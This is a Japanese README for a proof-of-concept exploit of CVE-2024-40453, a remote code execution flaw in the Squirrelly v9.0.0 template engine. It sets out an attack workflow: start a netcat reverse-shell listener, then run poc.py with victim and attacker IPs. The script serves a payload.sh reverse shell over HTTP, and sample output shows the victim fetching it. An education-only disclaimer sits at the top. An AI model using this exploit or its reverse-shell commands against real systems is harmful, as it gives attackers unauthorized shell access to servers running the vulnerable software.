bwithe/cve-2024-40453CVE-2024-40453 - Squirrelly v9.0.0 のRCE. Poc
このスクリプトは教育目的のみで使用してください。
違法な目的で使用しないでください。
もし使用した場合、その責任はすべてあなたにあります。私はいかなる誤用についても責任を負いません。
このスクリプトは、カレントディレクトリに payload.sh というリバースシェルを作成します。
次に、被害者が payload.sh を取得するために、ポート80でHTTPサーバーを起動します。
攻撃者のマシンでリスナーを開始する必要があります。
HTTPサーバーは、被害者が payload.sh を取得して実行できるように、3秒後にシャットダウンします。
以下の情報に基づいて、このPOCが開発されました。 https://samuzora.com/posts/cve-2024-40453
リスナーを起動
rlwrap nc -nvlp 3000
ペイロードを実行
# python3 poc.py -rhost <VICTIM_IP> -rport <VICTIM_PORT> -lhost <ATTACKER_IP> -lport <ATTACKER_LISTENER_PORT>
python3 poc.py -rhost 172.16.0.2 -rport 3000 -lhost 172.16.0.1 -lport 3000
[+] Payload created at payload.sh
[*] Hosting HTTP server on port 80
[*] Triggering remote execution
172.16.0.2 - - [13/Jun/2025 22:21:10] "GET /payload.sh HTTP/1.1" 200 -
[*] Shutting down HTTP server on port 80
[!] Check your listener!